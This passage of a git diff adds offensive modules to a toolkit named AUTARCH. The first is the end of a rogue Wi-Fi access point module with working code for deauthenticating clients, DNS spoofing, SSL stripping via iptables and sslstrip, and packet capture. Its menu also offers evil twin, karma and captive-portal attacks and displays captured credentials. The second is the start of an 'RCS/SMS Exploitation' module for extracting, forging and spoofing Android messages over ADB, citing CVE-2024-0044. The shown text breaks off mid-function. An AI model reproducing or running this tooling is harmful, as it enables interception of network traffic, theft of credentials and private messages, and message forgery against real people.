datetime.now().isoformat(), + 'data_usage': self._clients.get(mac, {}).get('data_usage', 0) + } + except Exception: + pass + + # Supplement with ARP table + try: + arp_output = subprocess.check_output( + ['arp', '-an'], text=True, timeout=5, stderr=subprocess.DEVNULL + ) + for line in arp_output.splitlines(): + m = re.match(r'\S+\s+\((\d+\.\d+\.\d+\.\d+)\)\s+at\s+([0-9a-fA-F:]+)', line) + if m: + ip = m.group(1) + mac = m.group(2).upper() + if ip.startswith('10.0.0.') and mac not in clients: + clients[mac] = { + 'mac': mac, + 'ip': ip, + 'hostname': '', + 'os': '', + 'first_seen': self._clients.get(mac, {}).get( + 'first_seen', datetime.now().isoformat()), + 'last_seen': datetime.now().isoformat(), + 'data_usage': self._clients.get(mac, {}).get('data_usage', 0) + } + except Exception: + pass + + with self._lock: + self._clients.update(clients) + + return list(self._clients.values()) + + def kick_client(self, mac_address: str) -> Dict: + """Deauthenticate specific client from rogue AP.""" + if not self._ap_running: + return {'ok': False, 'error': 'AP is not running'} + if not mac_address: + return {'ok': False, 'error': 'MAC address is required'} + + mac = mac_address.upper() + + # Use aireplay-ng to send deauth + if self.aireplay and self._ap_interface: + try: + # Get the AP BSSID from interface + ap_mac = self._get_interface_mac(self._ap_interface) + if not ap_mac: + ap_mac = 'FF:FF:FF:FF:FF:FF' + + subprocess.run( + [self.aireplay, '-0', '3', '-a', ap_mac, '-c', mac, self._ap_interface], + capture_output=True, timeout=10 + ) + + # Remove from client list + if mac in self._clients: + del self._clients[mac] + + return {'ok': True, 'message': f'Deauth sent to {mac}'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + # Fallback: use hostapd_cli + hostapd_cli = shutil.which('hostapd_cli') + if hostapd_cli: + try: + subprocess.run( + [hostapd_cli, 'deauthenticate', mac], + capture_output=True, timeout=5 + ) + if mac in self._clients: + del self._clients[mac] + return {'ok': True, 'message': f'Client {mac} deauthenticated'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + return {'ok': False, 'error': 'No tool available to kick client'} + + # ── DNS Spoofing ───────────────────────────────────────────────────── + + def enable_dns_spoof(self, spoofs: Dict[str, str]) -> Dict: + """Configure dnsmasq to resolve specific domains to specified IPs.""" + if not spoofs: + return {'ok': False, 'error': 'No spoofs provided'} + + self._dns_spoofs = dict(spoofs) + self._dns_spoof_active = True + + # If AP is running, restart dnsmasq with new config + if self._ap_running: + return self._restart_dnsmasq() + + return { + 'ok': True, + 'message': f'DNS spoofing configured for {len(spoofs)} domain(s). ' + 'Spoofs will activate when AP starts.', + 'spoofs': spoofs + } + + def disable_dns_spoof(self) -> Dict: + """Restore normal DNS resolution.""" + self._dns_spoofs.clear() + self._dns_spoof_active = False + + if self._ap_running: + return self._restart_dnsmasq() + + return {'ok': True, 'message': 'DNS spoofing disabled'} + + # ── SSL Strip ──────────────────────────────────────────────────────── + + def enable_ssl_strip(self) -> Dict: + """Set up iptables + sslstrip to downgrade HTTPS connections.""" + if not self._ap_running: + return {'ok': False, 'error': 'Start rogue AP first'} + if self._sslstrip_active: + return {'ok': False, 'error': 'SSL strip is already running'} + if not self.sslstrip_bin: + return {'ok': False, 'error': 'sslstrip not found. Install with: pip install sslstrip'} + if not self.iptables: + return {'ok': False, 'error': 'iptables not found'} + + sslstrip_port = 10000 + + try: + # Enable IP forwarding + subprocess.run( + ['sysctl', '-w', 'net.ipv4.ip_forward=1'], + capture_output=True, timeout=5 + ) + + # Redirect HTTPS traffic to sslstrip + subprocess.run([ + self.iptables, '-t', 'nat', '-A', 'PREROUTING', + '-i', self._ap_interface, '-p', 'tcp', '--dport', '443', + '-j', 'REDIRECT', '--to-port', str(sslstrip_port) + ], capture_output=True, timeout=5) + + # Start sslstrip + log_file = os.path.join(self.data_dir, 'sslstrip.log') + self._sslstrip_proc = subprocess.Popen( + [self.sslstrip_bin, '-l', str(sslstrip_port), '-w', log_file], + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + time.sleep(1) + + if self._sslstrip_proc.poll() is not None: + stderr = self._sslstrip_proc.stderr.read().decode(errors='replace') + return {'ok': False, 'error': f'sslstrip failed: {stderr[:200]}'} + + self._sslstrip_active = True + return {'ok': True, 'message': f'SSL strip enabled on port {sslstrip_port}'} + + except Exception as e: + return {'ok': False, 'error': str(e)} + + def disable_ssl_strip(self) -> Dict: + """Remove sslstrip iptables rules and stop sslstrip.""" + if not self._sslstrip_active: + return {'ok': False, 'error': 'SSL strip is not running'} + + sslstrip_port = 10000 + + # Kill sslstrip + if self._sslstrip_proc: + try: + self._sslstrip_proc.terminate() + self._sslstrip_proc.wait(timeout=5) + except Exception: + try: + self._sslstrip_proc.kill() + except Exception: + pass + self._sslstrip_proc = None + + # Remove iptables rule + if self.iptables and self._ap_interface: + try: + subprocess.run([ + self.iptables, '-t', 'nat', '-D', 'PREROUTING', + '-i', self._ap_interface, '-p', 'tcp', '--dport', '443', + '-j', 'REDIRECT', '--to-port', str(sslstrip_port) + ], capture_output=True, timeout=5) + except Exception: + pass + + self._sslstrip_active = False + return {'ok': True, 'message': 'SSL strip disabled'} + + # ── Traffic Capture ────────────────────────────────────────────────── + + def sniff_traffic(self, interface: str = None, filter_expr: str = None, + duration: int = 60) -> Dict: + """Capture packets from connected clients.""" + iface = interface or self._ap_interface + if not iface: + return {'ok': False, 'error': 'No interface specified'} + if not self.tcpdump: + return {'ok': False, 'error': 'tcpdump not found'} + if self._sniff_proc and self._sniff_proc.poll() is None: + return {'ok': False, 'error': 'Capture already running. Stop it first.'} + + cap_file = os.path.join( + self.traffic_dir, f'traffic_{int(time.time())}.pcap' + ) + + cmd = [self.tcpdump, '-i', iface, '-w', cap_file, '-c', '10000'] + if filter_expr: + cmd.extend(filter_expr.split()) + + try: + self._sniff_proc = subprocess.Popen( + cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + + # Schedule auto-stop + def _auto_stop(): + time.sleep(duration) + if self._sniff_proc and self._sniff_proc.poll() is None: + try: + self._sniff_proc.send_signal(signal.SIGINT) + self._sniff_proc.wait(timeout=5) + except Exception: + pass + + threading.Thread(target=_auto_stop, daemon=True).start() + + return { + 'ok': True, + 'message': f'Traffic capture started on {iface} ({duration}s)', + 'capture_file': cap_file, + 'pid': self._sniff_proc.pid + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + def stop_sniff(self) -> Dict: + """Stop traffic capture.""" + if self._sniff_proc and self._sniff_proc.poll() is None: + try: + self._sniff_proc.send_signal(signal.SIGINT) + self._sniff_proc.wait(timeout=5) + except Exception: + try: + self._sniff_proc.kill() + except Exception: + pass + self._sniff_proc = None + return {'ok': True, 'message': 'Traffic capture stopped'} + return {'ok': False, 'error': 'No capture running'} + + def get_traffic_stats(self) -> Dict: + """Get bandwidth usage, top domains, top clients.""" + stats = { + 'total_bytes': 0, + 'top_domains': [], + 'top_clients': [], + 'capture_files': [] + } + + # Parse dnsmasq query log for top domains + log_file = os.path.join(self.data_dir, 'dnsmasq.log') + domain_counts: Dict[str, int] = {} + if os.path.exists(log_file): + try: + with open(log_file, 'r') as f: + for line in f: + m = re.search(r'query\[A\]\s+(\S+)\s+from\s+(\S+)', line) + if m: + domain = m.group(1) + client_ip = m.group(2) + domain_counts[domain] = domain_counts.get(domain, 0) + 1 + except Exception: + pass + + stats['top_domains'] = sorted( + [{'domain': k, 'queries': v} for k, v in domain_counts.items()], + key=lambda x: x['queries'], reverse=True + )[:20] + + # Client data from leases + client_usage = {} + for mac, info in self._clients.items(): + client_usage[mac] = { + 'mac': mac, + 'ip': info.get('ip', ''), + 'hostname': info.get('hostname', ''), + 'data_usage': info.get('data_usage', 0) + } + + stats['top_clients'] = sorted( + list(client_usage.values()), + key=lambda x: x['data_usage'], reverse=True + )[:20] + + # List traffic capture files + try: + traffic_path = Path(self.traffic_dir) + for f in sorted(traffic_path.glob('*.pcap'), reverse=True): + stats['capture_files'].append({ + 'name': f.name, + 'path': str(f), + 'size': f.stat().st_size, + 'modified': datetime.fromtimestamp(f.stat().st_mtime).isoformat() + }) + except Exception: + pass + + return stats + + # ── NAT / iptables Helpers ─────────────────────────────────────────── + + def _setup_nat(self, ap_iface: str, inet_iface: str, subnet: str): + """Set up NAT forwarding between AP and internet interface.""" + if not self.iptables: + return + + try: + # Enable IP forwarding + subprocess.run( + ['sysctl', '-w', 'net.ipv4.ip_forward=1'], + capture_output=True, timeout=5 + ) + + # NAT masquerade + subprocess.run([ + self.iptables, '-t', 'nat', '-A', 'POSTROUTING', + '-o', inet_iface, '-j', 'MASQUERADE' + ], capture_output=True, timeout=5) + + # Allow forwarding + subprocess.run([ + self.iptables, '-A', 'FORWARD', + '-i', ap_iface, '-o', inet_iface, '-j', 'ACCEPT' + ], capture_output=True, timeout=5) + + subprocess.run([ + self.iptables, '-A', 'FORWARD', + '-i', inet_iface, '-o', ap_iface, + '-m', 'state', '--state', 'RELATED,ESTABLISHED', + '-j', 'ACCEPT' + ], capture_output=True, timeout=5) + + except Exception: + pass + + def _teardown_nat(self, ap_iface: str, inet_iface: str): + """Remove NAT forwarding rules.""" + if not self.iptables: + return + + try: + subprocess.run([ + self.iptables, '-t', 'nat', '-D', 'POSTROUTING', + '-o', inet_iface, '-j', 'MASQUERADE' + ], capture_output=True, timeout=5) + + subprocess.run([ + self.iptables, '-D', 'FORWARD', + '-i', ap_iface, '-o', inet_iface, '-j', 'ACCEPT' + ], capture_output=True, timeout=5) + + subprocess.run([ + self.iptables, '-D', 'FORWARD', + '-i', inet_iface, '-o', ap_iface, + '-m', 'state', '--state', 'RELATED,ESTABLISHED', + '-j', 'ACCEPT' + ], capture_output=True, timeout=5) + except Exception: + pass + + def _restart_dnsmasq(self) -> Dict: + """Restart dnsmasq with current configuration (including DNS spoofs).""" + if self._dnsmasq_proc: + try: + self._dnsmasq_proc.terminate() + self._dnsmasq_proc.wait(timeout=5) + except Exception: + try: + self._dnsmasq_proc.kill() + except Exception: + pass + + ap_ip = '10.0.0.1' + dnsmasq_conf = os.path.join(self.configs_dir, 'dnsmasq.conf') + dns_lines = [ + f'interface={self._ap_interface}', + 'bind-interfaces', + f'dhcp-range=10.0.0.10,10.0.0.250,255.255.255.0,12h', + f'dhcp-option=3,{ap_ip}', + f'dhcp-option=6,{ap_ip}', + 'server=8.8.8.8', + 'server=8.8.4.4', + 'log-queries', + f'log-facility={os.path.join(self.data_dir, "dnsmasq.log")}', + f'dhcp-leasefile={os.path.join(self.data_dir, "dnsmasq.leases")}', + ] + + if self._dns_spoof_active and self._dns_spoofs: + for domain, ip in self._dns_spoofs.items(): + dns_lines.append(f'address=/{domain}/{ip}') + + with open(dnsmasq_conf, 'w') as f: + f.write('\n'.join(dns_lines) + '\n') + + try: + self._dnsmasq_proc = subprocess.Popen( + [self.dnsmasq, '-C', dnsmasq_conf, '-d'], + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + time.sleep(0.5) + if self._dnsmasq_proc.poll() is not None: + stderr = self._dnsmasq_proc.stderr.read().decode(errors='replace') + return {'ok': False, 'error': f'dnsmasq restart failed: {stderr[:200]}'} + + msg = 'dnsmasq restarted' + if self._dns_spoof_active: + msg += f' with {len(self._dns_spoofs)} DNS spoof(s)' + return {'ok': True, 'message': msg} + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Internal Helpers ───────────────────────────────────────────────── + + def _get_interface_mac(self, interface: str) -> str: + """Get MAC address of an interface.""" + try: + mac_file = Path(f'/sys/class/net/{interface}/address') + if mac_file.exists(): + return mac_file.read_text().strip().upper() + except Exception: + pass + + if self.ip_bin: + try: + out = subprocess.check_output( + [self.ip_bin, 'link', 'show', interface], + text=True, timeout=5 + ) + m = re.search(r'link/ether\s+([0-9a-fA-F:]+)', out) + if m: + return m.group(1).upper() + except Exception: + pass + return '' + + def _fingerprint_os(self, hostname: str, mac: str) -> str: + """Basic OS fingerprinting from hostname and MAC OUI.""" + hostname_lower = hostname.lower() if hostname else '' + + if 'iphone' in hostname_lower or 'ipad' in hostname_lower: + return 'iOS' + if 'android' in hostname_lower or 'galaxy' in hostname_lower or 'pixel' in hostname_lower: + return 'Android' + if 'macbook' in hostname_lower or 'imac' in hostname_lower: + return 'macOS' + if hostname_lower.startswith('desktop-') or hostname_lower.startswith('laptop-'): + return 'Windows' + + # OUI-based fingerprinting + oui = mac[:8].upper() if mac else '' + apple_ouis = [ + '00:03:93', '00:05:02', '00:0A:27', '00:0A:95', '00:0D:93', + '00:10:FA', '00:11:24', '00:14:51', '00:16:CB', '00:17:F2', + '00:19:E3', '00:1B:63', '00:1C:B3', '00:1D:4F', '00:1E:52', + '00:1E:C2', '00:1F:5B', '00:1F:F3', '00:21:E9', '00:22:41', + '00:23:12', '00:23:32', '00:23:6C', '00:23:DF', '00:24:36', + '00:25:00', '00:25:4B', '00:25:BC', '00:26:08', '00:26:4A', + '00:26:B0', '00:26:BB', '3C:07:54', '7C:D1:C3', 'A4:83:E7', + 'AC:BC:32', 'B8:53:AC', 'D0:E1:40', 'F0:B4:79', 'F4:5C:89', + ] + if oui in apple_ouis: + return 'Apple' + + samsung_ouis = ['00:07:AB', '00:12:47', '00:15:99', '00:16:32', '00:17:D5', + '00:18:AF', '00:1A:8A', '00:1B:98', '00:1C:43', '00:1D:25', + '00:1E:E1', '00:1E:E2', '00:21:19', '00:21:D1', '00:23:39', + '00:23:99', '00:23:D6', '00:23:D7', '00:24:54', '00:24:90', + '00:24:91', '00:25:66', '00:25:67', '00:26:37', '00:26:5D'] + if oui in samsung_ouis: + return 'Android (Samsung)' + + return '' + + def _save_captures(self): + """Persist captured credentials to disk.""" + cap_file = os.path.join(self.data_dir, 'portal_captures.json') + try: + with open(cap_file, 'w') as f: + json.dump(self._portal_captures, f, indent=2) + except Exception: + pass + + def _load_captures(self): + """Load persisted captures from disk.""" + cap_file = os.path.join(self.data_dir, 'portal_captures.json') + if os.path.exists(cap_file): + try: + with open(cap_file, 'r') as f: + self._portal_captures = json.load(f) + except Exception: + self._portal_captures = [] + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_pineapple() -> PineappleAP: + global _instance + if _instance is None: + _instance = PineappleAP() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for WiFi Pineapple / Rogue AP module.""" + ap = get_pineapple() + + while True: + status = ap.get_status() + tools = ap.get_tools_status() + available = sum(1 for v in tools.values() if v) + + print(f"\n{'='*60}") + print(f" WiFi Pineapple / Rogue AP ({available}/{len(tools)} tools)") + print(f"{'='*60}") + if status['running']: + print(f" AP Status: RUNNING") + print(f" SSID: {status['ssid']} Channel: {status['channel']}") + print(f" Interface: {status['interface']}") + print(f" Clients: {status['client_count']}") + if status['portal_active']: + print(f" Portal: {status['portal_type']}") + if status['karma_active']: + print(f" Karma: ACTIVE") + if status['dns_spoof_active']: + print(f" DNS Spoofs: {len(status['dns_spoofs'])} entries") + else: + print(f" AP Status: STOPPED") + print() + print(" 1 — Start Rogue AP") + print(" 2 — Stop Rogue AP") + print(" 3 — Evil Twin Attack") + print(" 4 — Captive Portal") + print(" 5 — View Clients") + print(" 6 — DNS Spoof") + print(" 7 — Karma Attack") + print(" 8 — SSL Strip") + print(" 9 — View Captures") + print(" 10 — Traffic Stats") + print(" 11 — Tool Status") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + + elif choice == '1': + ifaces = ap.get_interfaces() + wireless = [i for i in ifaces if i.get('wireless', True)] + if wireless: + print(" Wireless interfaces:") + for i, ifc in enumerate(wireless): + print(f" {i+1}. {ifc['name']} (mode={ifc['mode']}, ch={ifc['channel']})") + ssid = input(" SSID: ").strip() + iface = input(" Interface: ").strip() + ch = input(" Channel (default 6): ").strip() + enc = input(" Encryption (open/wpa2, default open): ").strip() or 'open' + pwd = '' + if enc in ('wpa', 'wpa2'): + pwd = input(" Password: ").strip() + inet = input(" Internet interface (blank=none): ").strip() or None + result = ap.start_rogue_ap( + ssid, iface, int(ch) if ch.isdigit() else 6, + enc, pwd, inet + ) + print(f" {result.get('message', result.get('error', 'Unknown'))}") + + elif choice == '2': + result = ap.stop_rogue_ap() + print(f" {result.get('message', result.get('error'))}") + + elif choice == '3': + target = input(" Target SSID: ").strip() + bssid = input(" Target BSSID: ").strip() + iface = input(" Interface: ").strip() + inet = input(" Internet interface (blank=none): ").strip() or None + result = ap.evil_twin(target, bssid, iface, inet) + print(f" {result.get('message', result.get('error'))}") + + elif choice == '4': + print(" Portal types: hotel_wifi, corporate, social_login, terms_accept") + ptype = input(" Portal type: ").strip() or 'hotel_wifi' + if ap._portal_active: + result = ap.stop_captive_portal() + else: + result = ap.start_captive_portal(ptype) + print(f" {result.get('message', result.get('error'))}") + + elif choice == '5': + clients = ap.get_clients() + if clients: + print(f" Connected clients ({len(clients)}):") + for c in clients: + print(f" {c['mac']} {c['ip']:<15} {c['hostname']:<20} {c['os']}") + else: + print(" No connected clients") + + elif choice == '6': + if ap._dns_spoof_active: + result = ap.disable_dns_spoof() + else: + spoofs = {} + while True: + domain = input(" Domain (blank to finish): ").strip() + if not domain: + break + ip = input(f" IP for {domain}: ").strip() + if ip: + spoofs[domain] = ip + if spoofs: + result = ap.enable_dns_spoof(spoofs) + else: + result = {'ok': False, 'error': 'No spoofs entered'} + print(f" {result.get('message', result.get('error'))}") + + elif choice == '7': + if ap._karma_active: + result = ap.disable_karma() + else: + iface = input(" Interface (blank=AP interface): ").strip() or None + result = ap.enable_karma(iface) + print(f" {result.get('message', result.get('error'))}") + + elif choice == '8': + if ap._sslstrip_active: + result = ap.disable_ssl_strip() + else: + result = ap.enable_ssl_strip() + print(f" {result.get('message', result.get('error'))}") + + elif choice == '9': + captures = ap.get_portal_captures() + if captures: + print(f" Captured credentials ({len(captures)}):") + for c in captures: + print(f" [{c['timestamp'][:19]}] user={c['username']} " + f"pass={c['password']} ip={c['ip']}") + else: + print(" No captures yet") + + elif choice == '10': + stats = ap.get_traffic_stats() + if stats['top_domains']: + print(" Top domains:") + for d in stats['top_domains'][:10]: + print(f" {d['domain']:<40} {d['queries']} queries") + else: + print(" No traffic data") + + elif choice == '11': + for tool, avail in tools.items(): + status_str = 'OK' if avail else 'MISSING' + print(f" {tool:<15} {status_str}") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/rcs_tools.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/rcs_tools.py new file mode 100644 index 0000000..0f42c37 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/rcs_tools.py @@ -0,0 +1,1969 @@ +"""AUTARCH RCS/SMS Exploitation v2.0 + +Comprehensive RCS/SMS message extraction, forging, modification, and exploitation +on connected Android devices via ADB content provider commands, Shizuku shell +access, CVE-2024-0044 privilege escalation, AOSP RCS provider queries, and +Archon app integration. + +All operations execute on the target phone — nothing runs locally except +command dispatch and output parsing. Messages in bugle_db are stored as +PLAINTEXT after E2EE decryption, so no key extraction is needed for reading. + +Exploitation paths (in order of preference): + 1. Content providers (UID 2000 / shell — no root needed) + 2. Archon app relay (READ_SMS + Shizuku → bugle_db access) + 3. CVE-2024-0044 (Android 12-13 pre-Oct 2024 — full app-UID access) + 4. ADB backup (deprecated on Android 12+ but works on some devices) + 5. Root (if available) +""" + +DESCRIPTION = "RCS/SMS Exploitation — Database extraction, forging, backup & spoofing" +AUTHOR = "AUTARCH" +VERSION = "2.0" +CATEGORY = "offense" + +import os +import re +import csv +import json +import time +import shlex +import struct +import sqlite3 +import subprocess +import threading +import zlib +from io import StringIO +from pathlib import Path +from datetime import datetime, timezone, timedelta +from typing import Dict, List, Optional, Any, Tuple +from xml.etree import ElementTree as ET + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + import shutil as _sh + + def find_tool(name): + return _sh.which(name) + + def get_data_dir(): + return Path(__file__).resolve().parent.parent / 'data' + + +# ── Module-level singleton ────────────────────────────────────────────────── + +_instance: Optional['RCSTools'] = None + + +def get_rcs_tools() -> 'RCSTools': + global _instance + if _instance is None: + _instance = RCSTools() + return _instance + + +# ── Constants ──────────────────────────────────────────────────────────────── + +# Standard Android telephony content providers (accessible at UID 2000) +SMS_URI = 'content://sms/' +SMS_INBOX_URI = 'content://sms/inbox' +SMS_SENT_URI = 'content://sms/sent' +SMS_DRAFT_URI = 'content://sms/draft' +SMS_OUTBOX_URI = 'content://sms/outbox' +MMS_URI = 'content://mms/' +MMS_INBOX_URI = 'content://mms/inbox' +MMS_SENT_URI = 'content://mms/sent' +MMS_PART_URI = 'content://mms/part' +MMS_SMS_CONVERSATIONS_URI = 'content://mms-sms/conversations' +MMS_SMS_DRAFT_URI = 'content://mms-sms/draft' +MMS_SMS_UNDELIVERED_URI = 'content://mms-sms/undelivered' +MMS_SMS_LOCKED_URI = 'content://mms-sms/locked' + +# AOSP RCS content provider (authority: "rcs") +RCS_THREAD_URI = 'content://rcs/thread' +RCS_P2P_THREAD_URI = 'content://rcs/p2p_thread' +RCS_GROUP_THREAD_URI = 'content://rcs/group_thread' +RCS_PARTICIPANT_URI = 'content://rcs/participant' +RCS_MESSAGE_URI_FMT = 'content://rcs/p2p_thread/{thread_id}/message' +RCS_FILE_TRANSFER_URI_FMT = 'content://rcs/p2p_thread/{thread_id}/file_transfer' +RCS_INCOMING_MSG_URI_FMT = 'content://rcs/p2p_thread/{thread_id}/incoming_message' +RCS_OUTGOING_MSG_URI_FMT = 'content://rcs/p2p_thread/{thread_id}/outgoing_message' + +# Google Messages proprietary providers (may require elevated access) +GMSGS_PROVIDER = 'content://com.google.android.apps.messaging.datamodel.MessagingContentProvider' + +# All known RCS-related content provider URIs to enumerate +ALL_RCS_URIS = [ + 'content://rcs/thread', + 'content://rcs/p2p_thread', + 'content://rcs/group_thread', + 'content://rcs/participant', + 'content://im/messages/', + 'content://com.google.android.apps.messaging/messages', + 'content://com.google.android.apps.messaging.datamodel.MessagingContentProvider', + 'content://com.google.android.ims.provider/', + 'content://com.google.android.gms.ims.provider/', + 'content://com.google.android.rcs.provider/', + 'content://com.samsung.android.messaging/', + 'content://com.samsung.rcs.autoconfigurationprovider/root/*', +] + +# SMS type codes (android.provider.Telephony.Sms constants) +MSG_TYPE_ALL = 0 +MSG_TYPE_INBOX = 1 # received +MSG_TYPE_SENT = 2 # sent +MSG_TYPE_DRAFT = 3 +MSG_TYPE_OUTBOX = 4 +MSG_TYPE_FAILED = 5 +MSG_TYPE_QUEUED = 6 + +# MMS message box codes +MMS_BOX_INBOX = 1 +MMS_BOX_SENT = 2 +MMS_BOX_DRAFT = 3 +MMS_BOX_OUTBOX = 4 + +# bugle_db message_protocol values +PROTOCOL_SMS = 0 +PROTOCOL_MMS = 1 +PROTOCOL_RCS = 2 # Google proprietary — values >= 2 indicate RCS + +# bugle_db paths on device +BUGLE_DB_PATHS = [ + '/data/data/com.google.android.apps.messaging/databases/bugle_db', + '/data/user/0/com.google.android.apps.messaging/databases/bugle_db', + '/data/data/com.android.messaging/databases/bugle_db', +] + +# Telephony provider database +MMSSMS_DB_PATHS = [ + '/data/data/com.android.providers.telephony/databases/mmssms.db', + '/data/user_de/0/com.android.providers.telephony/databases/mmssms.db', +] + +# Samsung messaging databases +SAMSUNG_DB_PATHS = [ + '/data/data/com.samsung.android.messaging/databases/', + '/data/data/com.sec.android.provider.logsprovider/databases/logs.db', +] + +# Known messaging packages +MESSAGING_PACKAGES = [ + 'com.google.android.apps.messaging', # Google Messages + 'com.android.messaging', # AOSP Messages + 'com.samsung.android.messaging', # Samsung Messages + 'com.verizon.messaging.vzmsgs', # Verizon Message+ +] + +# Column projections +SMS_COLUMNS = '_id:thread_id:address:body:date:date_sent:type:read:status:protocol:service_center:person:subject:locked:seen' +MMS_COLUMNS = '_id:thread_id:date:msg_box:sub:sub_cs:ct_l:exp:m_type:read:seen:st' +MMS_PART_COLUMNS = '_id:mid:ct:text:_data:name' + +# Known CVEs affecting RCS/Android messaging +RCS_CVES = { + 'CVE-2023-24033': { + 'severity': 'critical', 'cvss': 9.8, + 'desc': 'Samsung Exynos baseband RCE via RCS SDP accept-type parsing', + 'affected': 'Exynos 5123, 5300, 980, 1080, Auto T5123', + 'type': 'zero-click', 'discoverer': 'Google Project Zero', + 'mitigation': 'Disable Wi-Fi calling and VoLTE; apply March 2023 patches', + }, + 'CVE-2024-0044': { + 'severity': 'high', 'cvss': 7.8, + 'desc': 'Android run-as privilege escalation via newline injection in PackageInstallerService', + 'affected': 'Android 12-13 pre-October 2024 security patch', + 'type': 'local', 'discoverer': 'Meta Red Team X', + 'mitigation': 'Apply October 2024 security patch', + 'exploit_available': True, + }, + 'CVE-2024-31317': { + 'severity': 'high', 'cvss': 7.8, + 'desc': 'Android system_server run-as bypass via command injection', + 'affected': 'Android 12-14 pre-QPR2', + 'type': 'local', 'discoverer': 'Meta Red Team X', + 'mitigation': 'Apply June 2024 security patch', + }, + 'CVE-2024-49415': { + 'severity': 'high', 'cvss': 8.1, + 'desc': 'Samsung libsaped.so zero-click RCE via RCS audio message (OOB write in APE decoder)', + 'affected': 'Samsung Galaxy S23/S24 Android 12-14 pre-December 2024', + 'type': 'zero-click', 'discoverer': 'Natalie Silvanovich (Project Zero)', + 'mitigation': 'Apply December 2024 Samsung security patch', + }, + 'CVE-2025-48593': { + 'severity': 'critical', 'cvss': 9.8, + 'desc': 'Android System component zero-click RCE', + 'affected': 'Android 13, 14, 15, 16', + 'type': 'zero-click', 'discoverer': 'Android Security Team', + 'mitigation': 'Apply November 2025 security patch', + }, + 'CVE-2017-0780': { + 'severity': 'medium', 'cvss': 5.5, + 'desc': 'Android Messages crash via crafted message (DoS)', + 'affected': 'Android 4.4-8.0', + 'type': 'remote', 'discoverer': 'Trend Micro', + 'mitigation': 'Update to patched Android version', + }, +} + +# Phenotype flags for Google Messages debug/verbose logging +PHENOTYPE_FLAGS = { + 'verbose_bug_reports': 'bugle_phenotype__enable_verbose_bug_reports', + 'rcs_diagnostics': 'bugle_phenotype__enable_rcs_diagnostics', + 'debug_mode': 'bugle_phenotype__enable_debug_mode', +} + +# Enterprise archival broadcast +ARCHIVAL_BROADCAST_ACTION = 'GOOGLE_MESSAGES_ARCHIVAL_UPDATE' +ARCHIVAL_URI_EXTRA = 'com.google.android.apps.messaging.EXTRA_ARCHIVAL_URI' + + +# ── RCSTools Class ─────────────────────────────────────────────────────────── + +class RCSTools: + """Comprehensive RCS/SMS exploitation via ADB.""" + + def __init__(self): + self._adb_path: Optional[str] = None + self._data_dir: Path = Path(get_data_dir()) / 'rcs_tools' + self._data_dir.mkdir(parents=True, exist_ok=True) + self._backups_dir: Path = self._data_dir / 'backups' + self._backups_dir.mkdir(parents=True, exist_ok=True) + self._exports_dir: Path = self._data_dir / 'exports' + self._exports_dir.mkdir(parents=True, exist_ok=True) + self._extracted_dir: Path = self._data_dir / 'extracted_dbs' + self._extracted_dir.mkdir(parents=True, exist_ok=True) + self._monitor_thread: Optional[threading.Thread] = None + self._monitor_running = False + self._intercepted: List[Dict[str, Any]] = [] + self._intercepted_lock = threading.Lock() + self._forged_log: List[Dict[str, Any]] = [] + self._cve_exploit_active = False + self._exploit_victim_name: Optional[str] = None + + # ══════════════════════════════════════════════════════════════════════ + # §1 ADB HELPERS + # ══════════════════════════════════════════════════════════════════════ + + def _get_adb(self) -> str: + if self._adb_path is None: + self._adb_path = find_tool('adb') + if not self._adb_path: + raise RuntimeError('adb not found') + return self._adb_path + + def _run_adb(self, command: str, timeout: int = 30) -> str: + adb = self._get_adb() + full_cmd = f'{adb} {command}' + try: + result = subprocess.run( + full_cmd, shell=True, capture_output=True, text=True, timeout=timeout, + ) + if result.returncode != 0 and result.stderr.strip(): + return f'[adb error] {result.stderr.strip()}' + return result.stdout.strip() + except subprocess.TimeoutExpired: + return f'[adb error] Command timed out after {timeout}s' + except Exception as e: + return f'[adb error] {e}' + + def _run_adb_binary(self, command: str, timeout: int = 60) -> Optional[bytes]: + adb = self._get_adb() + full_cmd = f'{adb} {command}' + try: + result = subprocess.run( + full_cmd, shell=True, capture_output=True, timeout=timeout, + ) + if result.returncode != 0: + return None + return result.stdout + except Exception: + return None + + def _run_shizuku(self, command: str, timeout: int = 30) -> str: + escaped = command.replace("'", "'\\''") + return self._run_adb(f"shell sh -c '{escaped}'", timeout=timeout) + + def _shell(self, command: str, timeout: int = 30) -> str: + return self._run_adb(f'shell {command}', timeout=timeout) + + def _content_query(self, uri: str, projection: str = '', where: str = '', + sort: str = '', limit: int = 0) -> List[Dict[str, str]]: + cmd = f'shell content query --uri {uri}' + if projection: + cmd += f' --projection {projection}' + if where: + cmd += f' --where "{where}"' + if sort: + cmd += f' --sort "{sort}"' + output = self._run_adb(cmd, timeout=30) + rows = self._parse_content_query(output) + if limit > 0: + rows = rows[:limit] + return rows + + def _content_insert(self, uri: str, bindings: Dict[str, Any]) -> str: + cmd = f'shell content insert --uri {uri}' + for key, val in bindings.items(): + if val is None: + cmd += f' --bind {key}:s:NULL' + elif isinstance(val, int): + cmd += f' --bind {key}:i:{val}' + elif isinstance(val, float): + cmd += f' --bind {key}:f:{val}' + else: + safe = str(val).replace("'", "'\\''") + cmd += f" --bind {key}:s:'{safe}'" + return self._run_adb(cmd) + + def _content_update(self, uri: str, bindings: Dict[str, Any], where: str = '') -> str: + cmd = f'shell content update --uri {uri}' + for key, val in bindings.items(): + if val is None: + cmd += f' --bind {key}:s:NULL' + elif isinstance(val, int): + cmd += f' --bind {key}:i:{val}' + else: + safe = str(val).replace("'", "'\\''") + cmd += f" --bind {key}:s:'{safe}'" + if where: + cmd += f' --where "{where}"' + return self._run_adb(cmd) + + def _content_delete(self, uri: str, where: str = '') -> str: + cmd = f'shell content delete --uri {uri}' + if where: + cmd += f' --where "{where}"' + return 